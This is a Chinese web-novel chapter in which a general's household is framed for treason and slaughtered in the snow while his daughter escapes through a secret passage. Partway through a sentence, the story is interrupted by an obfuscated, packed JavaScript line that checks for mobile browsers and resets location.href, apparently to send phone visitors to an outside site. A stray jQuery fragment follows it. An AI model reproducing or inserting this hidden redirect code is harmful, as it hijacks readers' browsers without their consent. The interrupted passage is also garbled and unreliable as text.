永安二十七年，冬月廿三。
雪是卯时落的，起初是细碎的霰子，打着闻府朱漆廊檐的铜铃，叮铃铃的响——像阿娘往日在佛堂捻的佛珠声，又像上月父亲教她打弹弓时，石子弹在院角老梅树上的轻响。
闻菱刚把父亲昨日教的枪法练完半套，指尖还沾着枪杆上的霜，袖口却暖烘烘的——是今早阿娘给她缝的兔毛边，针脚歪歪扭扭，阿娘还红着脸说“头回做活，你别嫌丑”。知春捧着暖手炉掀了角门的帘子：“姑娘快进来，夫人炖了银耳羹，放了你爱吃的蜜渍梅肉，说外头雪大，仔细冻着。”
她擦着手往内院走，廊下的灯笼裹着雪光晃，映得阶前的汉白玉狮子覆了层白绒。昨日她还踩着父亲的肩膀，给狮子系了个红绒球，父亲笑她“没个姑娘家的样子”，却把她举得更高了些。闻府的院子总这样，连落雪都沾着勋贵人家的温软——父亲是镇国大将军，掌着京畿十万禁军，却会蹲在廊下给她系鞋带；母亲是太傅独女，写得一手好簪花小楷，却总把糖糕藏在她的书箱里。
“阿菱。”
父亲的声音从正厅传出来。
闻菱掀了棉帘进去，看见父亲站在案前，手里捏着卷明黄的帛书，指节绷得泛白。案上的狼毫笔滚在砚台里，墨汁溅脏了描金的宣纸——那是父亲今早要呈给陛下的边防折子，她方才还看见他在上面批了“北狄异动，需增戍卒三千”的字样，砚台边还放着她塞给他的蜜饯。
“父亲？”她踮着脚凑过去，“这是陛下的旨意？”
父亲没说话。他把帛书往案上一放，墨字刺得人眼疼——“闻氏通敌，勾结北狄谋逆，着禁军即刻围府，满门抄斩，钦此。”
闻菱的暖手炉“哐当”砸在地上。炉里的炭灰撒出来，沾在她绣着缠枝莲的裙角上，像极了昨日她不小心打翻的胭脂碟。
“这是假的！”她抓着父亲的袖子，指尖抖得厉害，“父亲昨日还在御书房和陛下议事，您还说陛下赏了您新的箭囊……怎么会通敌？！”
“是构陷。”母亲的声音从屏风后传来，她捧着个紫檀木匣子，匣子里是闻家世代传下来的虎符和诰命，匣盖还沾着她方才绣的绒花——那是要给闻菱做压岁荷包的料子。“但陛下信了。”
正厅的门突然被撞开。
是府里的老管家，他的棉袍被刀划开了道口子，血顺着裤脚往下淌，跪在雪地里磕得额头见红：“将军！禁军围了府门，赵奎带着人……已经杀进来了！方才小厨房的张妈还在给您温酒，被他们一刀……”
父亲拔了墙上挂着的长枪，枪尖撞在地面的金砖上，震得案上的茶盏嗡嗡响：“护着夫人和阿菱从密道走！”
“走不了了！”管家的声音带着哭腔，“后巷也被堵了，他们是要……是要赶尽杀绝啊！”
兵器相撞的脆响撞破了雪声。
闻菱看见几个禁军踹开了正厅的门，玄色的甲胄沾着雪，刀光映着他们脸上的狠戾。为首的正是赵奎——上个月父亲还赏了他一副玄铁护腕，说他“是个肯拼的好苗子”，还让闻菱叫他“赵叔叔”。
“闻将军，”赵奎掂着手里的刀，刀刃上的血珠滴在雪地里，晕开红梅似的印子，“陛下有旨，你通敌叛国，还不束手就擒？”
“我闻家世代忠良，”父亲的枪尖指着他，声音像冰，“你敢污蔑忠良，就不怕遭天打雷劈？”
“天打雷劈？”赵奎笑了，“现在陛下就是天——动手！”
禁军的刀劈过来时，父亲把闻菱往母亲怀里一推。她看见父亲的长枪挑飞了两把刀，枪尖扎进一个禁军的胸口，血溅在他银白的甲胄上，像雪地里开了朵烂红的花。母亲抱着她往屏风后躲，指尖死死攥着她的胳膊，指甲嵌进了肉里——那只手昨日还给她梳了双环髻，簪了支珍珠钗。
“阿菱，”母亲的声音抖得厉害，却逼着自己稳下来，“密道在书房的书架后，第三排的《孙子兵法》是机关，记住，出去往南走，去城郊的青云观找你玄清师叔——他是你父亲的旧部，会护着你。”
一支羽箭穿破了屏风。
箭尖扎在母亲的后心，她闷哼一声，抱着闻菱摔在地上。闻菱的脸贴在母亲的棉袄上，那上面还留着银耳羹的甜香，此刻却慢慢浸上了温热的血——像她小时候打翻的蜜罐，黏糊糊的，却烫得人疼。
“娘！”她抓着母亲的衣襟，眼泪混着血往下淌，“你看看我……你昨天还说要教我绣鸳鸯……”
母亲的手抬起来，摸着她的脸，指尖凉得像雪：“活着……给闻家……报仇……”
那只手重重垂了下去。
闻菱看见赵奎走过来，刀光映着他的脸，像鬼。他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328947|199148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一脚踩在父亲的枪杆上，父亲的肩膀被刀砍伤了，血顺着胳膊往下流，却还是死死攥着枪柄——那只手曾把她扛在肩上看灯，曾给她剥过一碟又一碟的栗子。
“将军倒是硬气，”赵奎蹲下来，拍了拍父亲的脸，“可惜啊，忠良的骨头，在陛下眼里，不如北狄的十匹战马值钱。”
父亲突然挣开禁军的束缚，枪尖朝着赵奎刺过去——却被旁边的侍卫砍中了后腰。
他倒在雪地里，血浸红了大片的白，像被揉碎的晚霞。闻菱看见他的指尖还动了动，像是要够案上那碟没吃完的蜜饯。
闻菱的喉咙里发不出声音。她看见禁军把府里的丫鬟仆役一个个拖出来，刀光落下时，哭喊声被雪吞了一半。知春抱着个花瓶砸向禁军，被人一刀砍在肩上，摔在她脚边，手还抓着她的裙角：“姑娘……跑……您的弹弓还在我房里……”
血溅在她的脸上。
闻菱爬起来，往书房的方向跑。雪地里的脚印歪歪扭扭，她听见身后的禁军在喊“抓活的”，刀风擦着她的耳朵划过，割破了她的发带——那是阿娘今早刚给她系的，还沾着桂花油的香。她撞开书房的门，指尖抖得厉害，却还是摸到了书架后的暗扣——那是父亲上个月才教她的，说“若是哪天闻府遭了难，你从这里走，别回头”。
暗门“吱呀”一声开了。
她钻进去时，听见书房外传来赵奎的声音：“搜！把这小丫头找出来，陛下要活的！”
密道里的风裹着霉味，闻菱摸着冰冷的石阶往下走，怀里还攥着母亲塞给她的虎符。她听见头顶传来书房被砸烂的声音，听见父亲的长枪被扔在地上的脆响，听见雪落在闻府牌匾上的声音——那牌匾是太祖亲题的“忠勇侯府”，此刻该是被血浸成了红黑色，像她小时候偷偷抹在脸上的胭脂。
雪还在下。
密道的出口通着城郊的暗河，闻菱爬出来时，河水结着薄冰，冷得刺骨。她蹲在芦苇丛里，看见远处的闻府方向，火光烧红了半边天，雪落在火里，“滋滋”地化了——像阿娘给她温的蜜水，冒着轻烟，却暖不了这漫天的寒。
永安二十七年的雪，下得比往年都大。
大得像要把闻家百年的笑和暖，都埋在这无边无际的白里。
而她闻菱，是这白里唯一的、烧得发疼的余烬。